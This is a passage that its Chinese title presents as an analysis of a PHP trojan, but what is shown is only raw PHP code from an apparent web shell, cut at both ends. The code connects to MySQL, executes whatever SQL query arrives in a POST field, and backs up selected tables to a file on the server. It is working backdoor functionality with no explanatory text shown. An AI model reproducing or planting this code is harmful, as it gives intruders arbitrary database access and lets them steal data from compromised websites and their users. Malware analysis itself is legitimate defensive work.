php 木马的分析(加密破解)

    }
// 连接MYSQL
elseif ($connect) {
    if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
        echo "数据库连接成功!";
        mysql_close();
    } else {
        echo mysql_error();
    }
}

// 执行SQL语句
elseif ($_POST['do'] == 'query') {
    @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
    @mysql_select_db($dbname) or die("选择数据库失败");
    $result = @mysql_query($_POST['sql_query']);
    echo ($result) ? "SQL语句成功执行!" : "出错: ".mysql_error();
    mysql_close();
}

// 备份操作
elseif ($_POST['do'] == 'backupmysql') {
    if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
        echo "请选择欲备份的数据表和备份方式!";
    } else {
        if ($_POST['backuptype'] == 'server') {
            @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
            @mysql_select_db($dbname) or die("选择数据库失败");    
            $table = array_flip($_POST['table']);
            $filehandle = @fopen($path,"w");
            if ($filehandle) {
                $result = mysql_query("SHOW tables");
                echo ($result) ? NULL : "出错: ".mysql_error();
                while ($currow = mysql_fetch_array($result)) {
                    if (isset($table[$currow[0]])) {
                        sqldumptable($currow[0], $filehandle);
                        fwrite($filehandle,"nnn");
                    }